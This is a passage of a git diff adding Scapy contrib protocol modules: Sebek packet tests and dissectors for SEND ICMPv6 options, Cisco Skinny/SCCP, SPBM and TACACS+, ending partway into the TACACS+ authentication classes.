+pkt = IP() / UDP() / SebekHead() / SebekV1(cmd="diepotato")
+assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1
+assert pkt.summary() == "IP / UDP / SebekHead / Sebek v1 read ('diepotato')"
+
+= Packet dissection 1
+pkt = IP(raw(pkt))
+pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1
+
+= Layer binding 2
+pkt = IP() / UDP() / SebekHead() / SebekV2Sock(cmd="diepotato")
+assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2
+assert pkt.summary() == "IP / UDP / SebekHead / Sebek v2 socket ('diepotato')"
+
+= Packet dissection 2
+pkt = IP(raw(pkt))
+pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2
+
+= Layer binding 3
+pkt = IPv6()/UDP()/SebekHead()/SebekV3()
+assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3
+assert pkt.summary() == "IPv6 / UDP / SebekHead / Sebek v3 read ('')"
+
+= Packet dissection 3
+pkt = IPv6(raw(pkt))
+pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3
+
+= Nonsense summaries
+
+assert SebekHead(version=2).summary() == "Sebek Header v2 read"
+assert SebekV1(cmd="diepotato").summary() == "Sebek v1 ('diepotato')"
+assert SebekV2(cmd="diepotato").summary() == "Sebek v2 ('diepotato')"
+assert (SebekHead()/SebekV2(cmd="nottoday")).summary() == "SebekHead / Sebek v2 read ('nottoday')"
+assert SebekV3(cmd="diepotato").summary() == "Sebek v3 ('diepotato')"
+assert (SebekHead()/SebekV3(cmd="nottoday")).summary() == "SebekHead / Sebek v3 read ('nottoday')"
+assert SebekV3Sock(cmd="diepotato").summary() == "Sebek v3 socket ('diepotato')"
+assert (SebekHead()/SebekV3Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v3 socket ('nottoday')"
+assert SebekV2Sock(cmd="diepotato").summary() == "Sebek v2 socket ('diepotato')"
+assert (SebekHead()/SebekV2Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v2 socket ('nottoday')"
diff --git a/scapy/contrib/send.py b/scapy/contrib/send.py
new file mode 100644
index 0000000..8745bd0
--- /dev/null
+++ b/scapy/contrib/send.py
@@ -0,0 +1,91 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+## Copyright (C) 2009 Adline Stephane <adline.stephane@gmail.com>
+##
+
+# Partial support of RFC3971
+# scapy.contrib.description = SEND (ICMPv6)
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+import socket
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet6 import icmp6typescls, _ICMPv6NDGuessPayload, Net6
+
+send_icmp6typescls = { 11: "ICMPv6NDOptCGA",
+                       12: "ICMPv6NDOptRsaSig",
+                       13: "ICMPv6NDOptTmstp",
+                       14: "ICMPv6NDOptNonce"
+                     }
+icmp6typescls.update(send_icmp6typescls)
+
+class HashField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "16s")
+    def h2i(self, pkt, x):
+        if isinstance(x, str):
+            try:
+                x = in6_ptop(x)
+            except socket.error:
+                x = Net6(x)
+        elif isinstance(x, list):
+            x = [Net6(e) for e in x]
+        return x
+    def i2m(self, pkt, x):
+        return inet_pton(socket.AF_INET6, x)
+    def m2i(self, pkt, x):
+        return inet_ntop(socket.AF_INET6, x)
+    def any2i(self, pkt, x):
+        return self.h2i(pkt,x)
+    def i2repr(self, pkt, x):
+        return self.i2h(pkt, x)    # No specific information to return
+
+class ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6NDOptNonce"
+    fields_desc = [ ByteField("type",14),
+                    FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8),
+                    StrLenField("nonce","", length_from = lambda pkt: pkt.len*8-2) ]
+
+class ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6NDOptTmstp"
+    fields_desc = [ ByteField("type",13),
+                    ByteField("len",2),
+                    BitField("reserved",0, 48),
+                    LongField("timestamp", None) ]
+
+class ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6NDOptRsaSig"
+    fields_desc = [ ByteField("type",12),
+                    FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8),
+                    ShortField("reserved",0),
+                    HashField("key_hash",None),
+                    StrLenField("signature_pad", "", length_from = lambda pkt: pkt.len*8-20) ]
+
+class ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6NDOptCGA"
+    fields_desc = [ ByteField("type",11),
+                    FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: (x)/8),
+                    ByteField("padlength",0),
+                    ByteField("reserved",0),
+                    StrLenField("CGA_PARAMS", "", length_from = lambda pkt: pkt.len*8 - pkt.padlength - 4),
+                    StrLenField("padding", None, length_from = lambda pkt: pkt.padlength) ]
+
+if __name__ == "__main__":
+    from scapy.all import *
+    interact(mydict=globals(), mybanner="SEND add-on")
diff --git a/scapy/contrib/skinny.py b/scapy/contrib/skinny.py
new file mode 100644
index 0000000..60250f6
--- /dev/null
+++ b/scapy/contrib/skinny.py
@@ -0,0 +1,504 @@
+#! /usr/bin/env python
+
+# scapy.contrib.description = Skinny Call Control Protocol (SCCP)
+# scapy.contrib.status = loads
+
+
+#############################################################################
+##                                                                         ##
+## scapy-skinny.py --- Skinny Call Control Protocol (SCCP) extension       ##
+##                                                                         ##
+## Copyright (C) 2006    Nicolas Bareil      <nicolas.bareil@ eads.net>    ##
+##                       EADS/CRC security team                            ##
+##                                                                         ##
+## This file is part of Scapy                                              ##
+## Scapy is free software: you can redistribute it and/or modify           ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation; version 2.                   ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+
+from __future__ import absolute_import
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import TCP
+from scapy.modules.six.moves import range
+
+#####################################################################
+# Helpers and constants
+#####################################################################
+
+skinny_messages_cls = { 
+# Station -> Callmanager
+  0x0000: "SkinnyMessageKeepAlive",
+  0x0001: "SkinnyMessageRegister",
+  0x0002: "SkinnyMessageIpPort",
+  0x0003: "SkinnyMessageKeypadButton",
+  0x0004: "SkinnyMessageEnblocCall",
+  0x0005: "SkinnyMessageStimulus",
+  0x0006: "SkinnyMessageOffHook",
+  0x0007: "SkinnyMessageOnHook",
+  0x0008: "SkinnyMessageHookFlash",
+  0x0009: "SkinnyMessageForwardStatReq",
+  0x000A: "SkinnyMessageSpeedDialStatReq",
+  0x000B: "SkinnyMessageLineStatReq",
+  0x000C: "SkinnyMessageConfigStatReq",
+  0x000D: "SkinnyMessageTimeDateReq",
+  0x000E: "SkinnyMessageButtonTemplateReq",
+  0x000F: "SkinnyMessageVersionReq",
+  0x0010: "SkinnyMessageCapabilitiesRes",
+  0x0011: "SkinnyMessageMediaPortList",
+  0x0012: "SkinnyMessageServerReq",
+  0x0020: "SkinnyMessageAlarm",
+  0x0021: "SkinnyMessageMulticastMediaReceptionAck",
+  0x0022: "SkinnyMessageOpenReceiveChannelAck",
+  0x0023: "SkinnyMessageConnectionStatisticsRes",
+  0x0024: "SkinnyMessageOffHookWithCgpn",
+  0x0025: "SkinnyMessageSoftKeySetReq",
+  0x0026: "SkinnyMessageSoftKeyEvent",
+  0x0027: "SkinnyMessageUnregister",
+  0x0028: "SkinnyMessageSoftKeyTemplateReq",
+  0x0029: "SkinnyMessageRegisterTokenReq",
+  0x002A: "SkinnyMessageMediaTransmissionFailure",
+  0x002B: "SkinnyMessageHeadsetStatus",
+  0x002C: "SkinnyMessageMediaResourceNotification",
+  0x002D: "SkinnyMessageRegisterAvailableLines",
+  0x002E: "SkinnyMessageDeviceToUserData",
+  0x002F: "SkinnyMessageDeviceToUserDataResponse",
+  0x0030: "SkinnyMessageUpdateCapabilities",
+  0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck",
+  0x0032: "SkinnyMessageClearConference",
+  0x0033: "SkinnyMessageServiceURLStatReq",
+  0x0034: "SkinnyMessageFeatureStatReq",
+  0x0035: "SkinnyMessageCreateConferenceRes",
+  0x0036: "SkinnyMessageDeleteConferenceRes",
+  0x0037: "SkinnyMessageModifyConferenceRes",
+  0x0038: "SkinnyMessageAddParticipantRes",
+  0x0039: "SkinnyMessageAuditConferenceRes",
+  0x0040: "SkinnyMessageAuditParticipantRes",
+  0x0041: "SkinnyMessageDeviceToUserDataVersion1",
+# Callmanager -> Station */
+  0x0081: "SkinnyMessageRegisterAck",
+  0x0082: "SkinnyMessageStartTone",
+  0x0083: "SkinnyMessageStopTone",
+  0x0085: "SkinnyMessageSetRinger",
+  0x0086: "SkinnyMessageSetLamp",
+  0x0087: "SkinnyMessageSetHkFDetect",
+  0x0088: "SkinnyMessageSpeakerMode",
+  0x0089: "SkinnyMessageSetMicroMode",
+  0x008A: "SkinnyMessageStartMediaTransmission",
+  0x008B: "SkinnyMessageStopMediaTransmission",
+  0x008C: "SkinnyMessageStartMediaReception",
+  0x008D: "SkinnyMessageStopMediaReception",
+  0x008F: "SkinnyMessageCallInfo",
+  0x0090: "SkinnyMessageForwardStat",
+  0x0091: "SkinnyMessageSpeedDialStat",
+  0x0092: "SkinnyMessageLineStat",
+  0x0093: "SkinnyMessageConfigStat",
+  0x0094: "SkinnyMessageTimeDate",
+  0x0095: "SkinnyMessageStartSessionTransmission",
+  0x0096: "SkinnyMessageStopSessionTransmission",
+  0x0097: "SkinnyMessageButtonTemplate",
+  0x0098: "SkinnyMessageVersion",
+  0x0099: "SkinnyMessageDisplayText",
+  0x009A: "SkinnyMessageClearDisplay",
+  0x009B: "SkinnyMessageCapabilitiesReq",
+  0x009C: "SkinnyMessageEnunciatorCommand",
+  0x009D: "SkinnyMessageRegisterReject",
+  0x009E: "SkinnyMessageServerRes",
+  0x009F: "SkinnyMessageReset",
+  0x0100: "SkinnyMessageKeepAliveAck",
+  0x0101: "SkinnyMessageStartMulticastMediaReception",
+  0x0102: "SkinnyMessageStartMulticastMediaTransmission",
+  0x0103: "SkinnyMessageStopMulticastMediaReception",
+  0x0104: "SkinnyMessageStopMulticastMediaTransmission",
+  0x0105: "SkinnyMessageOpenReceiveChannel",
+  0x0106: "SkinnyMessageCloseReceiveChannel",
+  0x0107: "SkinnyMessageConnectionStatisticsReq",
+  0x0108: "SkinnyMessageSoftKeyTemplateRes",
+  0x0109: "SkinnyMessageSoftKeySetRes",
+  0x0110: "SkinnyMessageSoftKeyEvent",
+  0x0111: "SkinnyMessageCallState",
+  0x0112: "SkinnyMessagePromptStatus",
+  0x0113: "SkinnyMessageClearPromptStatus",
+  0x0114: "SkinnyMessageDisplayNotify",
+  0x0115: "SkinnyMessageClearNotify",
+  0x0116: "SkinnyMessageCallPlane",
+  0x0117: "SkinnyMessageCallPlane",
+  0x0118: "SkinnyMessageUnregisterAck",
+  0x0119: "SkinnyMessageBackSpaceReq",
+  0x011A: "SkinnyMessageRegisterTokenAck",
+  0x011B: "SkinnyMessageRegisterTokenReject",
+  0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1",
+  0x011C: "SkinnyMessageStartMediaFailureDetection",
+  0x011D: "SkinnyMessageDialedNumber",
+  0x011E: "SkinnyMessageUserToDeviceData",
+  0x011F: "SkinnyMessageFeatureStat",
+  0x0120: "SkinnyMessageDisplayPriNotify",
+  0x0121: "SkinnyMessageClearPriNotify",
+  0x0122: "SkinnyMessageStartAnnouncement",
+  0x0123: "SkinnyMessageStopAnnouncement",
+  0x0124: "SkinnyMessageAnnouncementFinish",
+  0x0127: "SkinnyMessageNotifyDtmfTone",
+  0x0128: "SkinnyMessageSendDtmfTone",
+  0x0129: "SkinnyMessageSubscribeDtmfPayloadReq",
+  0x012A: "SkinnyMessageSubscribeDtmfPayloadRes",
+  0x012B: "SkinnyMessageSubscribeDtmfPayloadErr",
+  0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq",
+  0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes",
+  0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr",
+  0x012F: "SkinnyMessageServiceURLStat",
+  0x0130: "SkinnyMessageCallSelectStat",
+  0x0131: "SkinnyMessageOpenMultiMediaChannel",
+  0x0132: "SkinnyMessageStartMultiMediaTransmission",
+  0x0133: "SkinnyMessageStopMultiMediaTransmission",
+  0x0134: "SkinnyMessageMiscellaneousCommand",
+  0x0135: "SkinnyMessageFlowControlCommand",
+  0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel",
+  0x0137: "SkinnyMessageCreateConferenceReq",
+  0x0138: "SkinnyMessageDeleteConferenceReq",
+  0x0139: "SkinnyMessageModifyConferenceReq",
+  0x013A: "SkinnyMessageAddParticipantReq",
+  0x013B: "SkinnyMessageDropParticipantReq",
+  0x013C: "SkinnyMessageAuditConferenceReq",
+  0x013D: "SkinnyMessageAuditParticipantReq",
+  0x013F: "SkinnyMessageUserToDeviceDataVersion1",
+  }
+
+skinny_callstates = {
+    0x1: "Off Hook",
+    0x2: "On Hook",
+    0x3: "Ring out",
+    0xc: "Proceeding",
+}
+
+
+skinny_ring_type = {
+    0x1: "Ring off"
+}
+
+skinny_speaker_modes = {
+    0x1: "Speaker on",
+    0x2: "Speaker off"
+}
+
+skinny_lamp_mode = {
+    0x1: "Off (?)",
+    0x2: "On",
+}
+
+skinny_stimulus = {
+    0x9: "Line"
+}
+
+
+############
+## Fields ##
+############
+
+class SkinnyDateTimeField(StrFixedLenField):
+    def __init__(self, name, default):
+        StrFixedLenField.__init__(self, name, default, 32)
+
+    def m2i(self, pkt, s):
+        year,month,dow,day,hour,min,sec,milisecond=struct.unpack('<8I', s)
+        return (year, month, day, hour, min, sec)
+    
+    def i2m(self, pkt, val):
+        if isinstance(val, str):
+            val = self.h2i(pkt, val)
+        l= val[:2] + (0,) + val[2:7] + (0,)
+        return struct.pack('<8I', *l)
+
+    def i2h(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        else:
+            return time.ctime(time.mktime(x+(0,0,0)))
+
+    def i2repr(self, pkt, x):
+        return self.i2h(pkt, x)
+    
+    def h2i(self, pkt, s):
+        t = ()
+        if isinstance(s, str):
+            t = time.strptime(s)
+            t = t[:2] + t[2:-3]
+        else:
+            if not s:
+                y,m,d,h,min,sec,rest,rest,rest = time.gmtime(time.time())
+                t = (y,m,d,h,min,sec)
+            else:
+                t=s
+        return t
+
+
+###########################
+## Packet abstract class ##
+###########################
+
+class SkinnyMessageGeneric(Packet):
+    name='Generic message'
+
+class SkinnyMessageKeepAlive(Packet):
+    name='keep alive'
+
+class SkinnyMessageKeepAliveAck(Packet):
+    name='keep alive ack'
+
+class SkinnyMessageOffHook(Packet):
+    name = 'Off Hook'
+    fields_desc = [ LEIntField("unknown1", 0),
+                    LEIntField("unknown2", 0),]
+        
+class SkinnyMessageOnHook(SkinnyMessageOffHook):
+    name = 'On Hook'
+    
+class SkinnyMessageCallState(Packet):
+    name='Skinny Call state message'
+    fields_desc = [ LEIntEnumField("state", 1, skinny_callstates),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0),
+                    LEIntField("unknown1", 4),
+                    LEIntField("unknown2", 0),
+                    LEIntField("unknown3", 0) ]
+
+class SkinnyMessageSoftKeyEvent(Packet):
+    name='Soft Key Event'
+    fields_desc = [ LEIntField("key", 0),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+class SkinnyMessageSetRinger(Packet):
+    name='Ring message'
+    fields_desc = [ LEIntEnumField("ring", 0x1, skinny_ring_type),
+                    LEIntField("unknown1", 0),
+                    LEIntField("unknown2", 0),
+                    LEIntField("unknown3", 0) ]
+
+_skinny_tones = {
+    0x21: 'Inside dial tone',
+    0x22: 'xxx',
+    0x23: 'xxx',
+    0x24: 'Alerting tone',
+    0x25: 'Reorder Tone'
+    }
+
+class SkinnyMessageStartTone(Packet):
+    name='Start tone'
+    fields_desc = [ LEIntEnumField("tone", 0x21, _skinny_tones),
+                    LEIntField("unknown1", 0),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+class SkinnyMessageStopTone(SkinnyMessageGeneric):
+    name='stop tone'
+    fields_desc = [ LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+    
+class SkinnyMessageSpeakerMode(Packet):
+    name='Speaker mdoe'
+    fields_desc = [ LEIntEnumField("ring", 0x1, skinny_speaker_modes) ]
+
+class SkinnyMessageSetLamp(Packet):
+    name='Lamp message (light of the phone)'
+    fields_desc = [ LEIntEnumField("stimulus", 0x5, skinny_stimulus),
+                    LEIntField("instance", 1),
+                    LEIntEnumField("mode", 2, skinny_lamp_mode) ]
+
+class SkinnyMessageSoftKeyEvent(Packet):
+    name=' Call state message'
+    fields_desc = [ LEIntField("instance", 1),
+                    LEIntField("callid", 0),
+                    LEIntField("set", 0),
+                    LEIntField("map", 0xffff)]
+    
+class SkinnyMessagePromptStatus(Packet):
+    name='Prompt status'
+    fields_desc = [ LEIntField("timeout", 0),
+                    StrFixedLenField("text", b"\0"*32, 32),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+class SkinnyMessageCallPlane(Packet):
+    name='Activate/Desactivate Call Plane Message'
+    fields_desc = [ LEIntField("instance", 1)]
+    
+class SkinnyMessageTimeDate(Packet):
+    name='Setting date and time'
+    fields_desc = [ SkinnyDateTimeField("settime", None),
+                    LEIntField("timestamp", 0) ]
+
+class SkinnyMessageClearPromptStatus(Packet):
+    name='clear prompt status'
+    fields_desc = [ LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+class SkinnyMessageKeypadButton(Packet):
+    name='keypad button'
+    fields_desc = [ LEIntField("key", 0),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+class SkinnyMessageDialedNumber(Packet):
+    name='dialed number'
+    fields_desc = [ StrFixedLenField("number", "1337", 24),
+                    LEIntField("instance", 1),
+                    LEIntField("callid", 0)]
+
+_skinny_message_callinfo_restrictions = ['CallerName'
+                                         , 'CallerNumber'
+                                         , 'CalledName'
+                                         , 'CalledNumber'
+                                         , 'OriginalCalledName'
+                                         , 'OriginalCalledNumber'
+                                         , 'LastRedirectName'
+                                         , 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8,15)]
+class SkinnyMessageCallInfo(Packet):
+    name='call information'
+    fields_desc = [ StrFixedLenField("callername", "Jean Valjean", 40),
+                    StrFixedLenField("callernum", "1337", 24),
+                    StrFixedLenField("calledname", "Causette", 40),
+                    StrFixedLenField("callednum", "1034", 24),
+                    LEIntField("lineinstance", 1),
+                    LEIntField("callid", 0),
+                    StrFixedLenField("originalcalledname", "Causette", 40),
+                    StrFixedLenField("originalcallednum", "1034", 24),
+                    StrFixedLenField("lastredirectingname", "Causette", 40),
+                    StrFixedLenField("lastredirectingnum", "1034", 24),
+                    LEIntField("originalredirectreason", 0),
+                    LEIntField("lastredirectreason", 0),
+                    StrFixedLenField('voicemailboxG', b'\0'*24, 24),
+                    StrFixedLenField('voicemailboxD', b'\0'*24, 24),
+                    StrFixedLenField('originalvoicemailboxD', b'\0'*24, 24),
+                    StrFixedLenField('lastvoicemailboxD', b'\0'*24, 24),
+                    LEIntField('security', 0),
+                    FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions),
+                    LEIntField('unknown', 0)]
+
+
+class SkinnyRateField(LEIntField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            x=0
+        return '%d ms/pkt' % x
+
+_skinny_codecs = {
+    0x0: 'xxx',
+    0x1: 'xxx',
+    0x2: 'xxx',
+    0x3: 'xxx',
+    0x4: 'G711 ulaw 64k'
+    }
+
+_skinny_echo = {
+    0x0: 'echo cancelation off',
+    0x1: 'echo cancelation on'
+    }
+
+class SkinnyMessageOpenReceiveChannel(Packet):
+    name='open receive channel'
+    fields_desc = [LEIntField('conference', 0),
+                   LEIntField('passthru', 0),
+                   SkinnyRateField('rate', 20),
+                   LEIntEnumField('codec', 4, _skinny_codecs),
+                   LEIntEnumField('echo', 0, _skinny_echo),
+                   LEIntField('unknown1', 0),
+                   LEIntField('callid', 0)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+_skinny_receive_channel_status = {
+    0x0: 'ok',
+    0x1: 'ko'
+    }
+
+class SkinnyMessageOpenReceiveChannelAck(Packet):
+    name='open receive channel'
+    fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status),
+                   IPField('remote', '0.0.0.0'),
+                   LEIntField('port', RandShort()),
+                   LEIntField('passthru', 0),
+                   LEIntField('callid', 0)]
+
+_skinny_silence = {
+    0x0: 'silence suppression off',
+    0x1: 'silence suppression on',
+    }
+
+class SkinnyFramePerPacketField(LEIntField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            x=0
+        return '%d frames/pkt' % x
+
+class SkinnyMessageStartMediaTransmission(Packet):
+    name='start multimedia transmission'
+    fields_desc = [LEIntField('conference', 0),
+                   LEIntField('passthru', 0),
+                   IPField('remote', '0.0.0.0'),
+                   LEIntField('port', RandShort()),
+                   SkinnyRateField('rate', 20),
+                   LEIntEnumField('codec', 4, _skinny_codecs),
+                   LEIntField('precedence', 200),
+                   LEIntEnumField('silence', 0, _skinny_silence),
+                   SkinnyFramePerPacketField('maxframes', 0),
+                   LEIntField('unknown1', 0),
+                   LEIntField('callid', 0)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+    
+class SkinnyMessageCloseReceiveChannel(Packet):
+    name='close receive channel'
+    fields_desc = [LEIntField('conference', 0),
+                   LEIntField('passthru', 0),
+                   IPField('remote', '0.0.0.0'),
+                   LEIntField('port', RandShort()),
+                   SkinnyRateField('rate', 20),
+                   LEIntEnumField('codec', 4, _skinny_codecs),
+                   LEIntField('precedence', 200),
+                   LEIntEnumField('silence', 0, _skinny_silence),
+                   LEIntField('callid', 0)]
+
+class SkinnyMessageStopMultiMediaTransmission(Packet):
+    name='stop multimedia transmission'
+    fields_desc = [LEIntField('conference', 0),
+                   LEIntField('passthru', 0),
+                   LEIntField('callid', 0)]
+    
+class Skinny(Packet):
+    name="Skinny"
+    fields_desc = [ LEIntField("len", None),
+                    LEIntField("res",0),
+                    LEIntEnumField("msg",0, skinny_messages_cls) ]
+
+    def post_build(self, pkt, p):
+        if self.len is None:
+            l=len(p)+len(pkt)-8 # on compte pas les headers len et reserved
+            pkt=struct.pack('@I', l)+pkt[4:]
+        return pkt+p
+
+# An helper 
+def get_cls(name, fallback_cls):
+    return globals().get(name, fallback_cls)
+    #return __builtin__.__dict__.get(name, fallback_cls)
+
+for msgid,strcls in skinny_messages_cls.items():
+    cls=get_cls(strcls, SkinnyMessageGeneric)
+    bind_layers(Skinny, cls, {"msg": msgid})
+
+bind_layers(TCP, Skinny, { "dport": 2000 } )
+bind_layers(TCP, Skinny, { "sport": 2000 } )
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(),mybanner="Welcome to Skinny add-on")
+
diff --git a/scapy/contrib/spbm.py b/scapy/contrib/spbm.py
new file mode 100644
index 0000000..56559db
--- /dev/null
+++ b/scapy/contrib/spbm.py
@@ -0,0 +1,56 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# IEEE 802.1aq - Shorest Path Bridging Mac-in-mac (SPBM):
+# Ethernet based link state protocol that enables Layer 2 Unicast, Layer 2 Multicast, Layer 3 Unicast, and Layer 3 Multicast virtualized services
+# https://en.wikipedia.org/wiki/IEEE_802.1aq
+# Modeled after the scapy VXLAN contribution
+
+# scapy.contrib.description = SBPM
+# scapy.contrib.status = loads
+
+"""
+ Example SPB Frame Creation
+ 
+ Note the outer Dot1Q Ethertype marking (0x88e7)
+
+ backboneEther     = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100)
+ backboneDot1Q     = Dot1Q(vlan=4051,type=0x88e7)
+ backboneServiceID = SPBM(prio=1,isid=20011)
+ customerEther     = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100)
+ customerDot1Q     = Dot1Q(prio=1,vlan=11,type=0x0800)
+ customerIP        = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106)
+ customerUDP       = UDP(sport=1024,dport=1025,chksum=0,len=86)
+
+ spb_example = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload"
+"""
+
+from scapy.packet import Packet, bind_layers
+from scapy.fields import *
+from scapy.layers.l2 import Ether, Dot1Q
+
+class SPBM(Packet):
+    name = "SPBM"
+    fields_desc = [ BitField("prio", 0, 3),
+                    BitField("dei", 0, 1),
+                    BitField("nca", 0, 1),
+                    BitField("res1", 0, 1),
+                    BitField("res2", 0, 2),
+                    ThreeBytesField("isid", 0)]
+
+    def mysummary(self):
+        return self.sprintf("SPBM (isid=%SPBM.isid%")
+
+bind_layers(Dot1Q, SPBM, type=0x88e7)
+bind_layers(SPBM, Ether)
diff --git a/scapy/contrib/tacacs.py b/scapy/contrib/tacacs.py
new file mode 100755
index 0000000..9f7e1f3
--- /dev/null
+++ b/scapy/contrib/tacacs.py
@@ -0,0 +1,444 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# Copyright (C) 2017 Francois Contat <francois.contat@ssi.gouv.fr>
+
+# Based on tacacs+ v6 draft https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06
+
+# scapy.contrib.description = TACACS+ Protocol
+# scapy.contrib.status = loads
+
+import struct
+import hashlib
+
+from scapy.packet import Packet, bind_layers
+from scapy.fields import ByteEnumField, ByteField, IntField
+from scapy.fields import FieldListField
+from scapy.fields import FieldLenField, ConditionalField, StrLenField
+from scapy.layers.inet import TCP
+from scapy.compat import chb, orb
+from scapy.config import conf
+from scapy.modules.six.moves import range
+
+SECRET = 'test'
+
+def obfuscate(pay, secret, session_id, version, seq):
+
+    '''
+
+    Obfuscation methodology from section 3.7
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7
+
+    '''
+
+    pad = b""
+    curr_pad = b""
+
+    # pad length must equal the payload to obfuscate.
+    # pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]}
+
+    while len(pad) < len(pay):
+
+        msg = hashlib.md5()
+        msg.update(struct.pack('!I', session_id))
+        msg.update(secret.encode())
+        msg.update(struct.pack('!BB', version, seq))
+        msg.update(curr_pad)
+        curr_pad = msg.digest()
+        pad += curr_pad
+
+    # Obf/Unobfuscation via XOR operation between plaintext and pad
+
+    return b"".join(chb(orb(pad[i]) ^ orb(pay[i])) for i in range(len(pay)))
+
+TACACSPRIVLEVEL = {15:'Root',
+                   1:'User',
+                   0:'Minimum'}
+
+##########################
+# Authentication Packets #
+##########################
+
+TACACSVERSION = {1:'Tacacs',
+                 192:'Tacacs+'}
+
+TACACSTYPE = {1:'Authentication',
+              2:'Authorization',
+              3:'Accounting'}
+
+TACACSFLAGS = {1:'Unencrypted',
+               4:'Single Connection'}
+
+TACACSAUTHENACTION = {1:'Login',
+                      2:'Change Pass',
+                      4:'Send Authentication'}
+
+TACACSAUTHENTYPE = {1:'ASCII',
+                    2:'PAP',
+                    3:'CHAP',
+                    4:'ARAP', #Deprecated
+                    5:'MSCHAP',
+                    6:'MSCHAPv2'}
+
+TACACSAUTHENSERVICE = {0:'None',
+                       1:'Login',
+                       2:'Enable',
+                       3:'PPP',
+                       4:'ARAP',
+                       5:'PT',
+                       6:'RCMD',
+                       7:'X25',
+                       8:'NASI',
+                       9:'FwProxy'}
+
+TACACSREPLYPASS = {1:'PASS',
+                   2:'FAIL',
+                   3:'GETDATA',
+                   4:'GETUSER',
+                   5:'GETPASS',
+                   6:'RESTART',
+                   7:'ERROR',
+                   21:'FOLLOW'}
+
+TACACSREPLYFLAGS = {1:'NOECHO'}
+
+TACACSCONTINUEFLAGS = {1:'ABORT'}
+
+
+class TacacsAuthenticationStart(Packet):
+
+    '''
+
+    Tacacs authentication start body from section 4.1
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1
+
+    '''
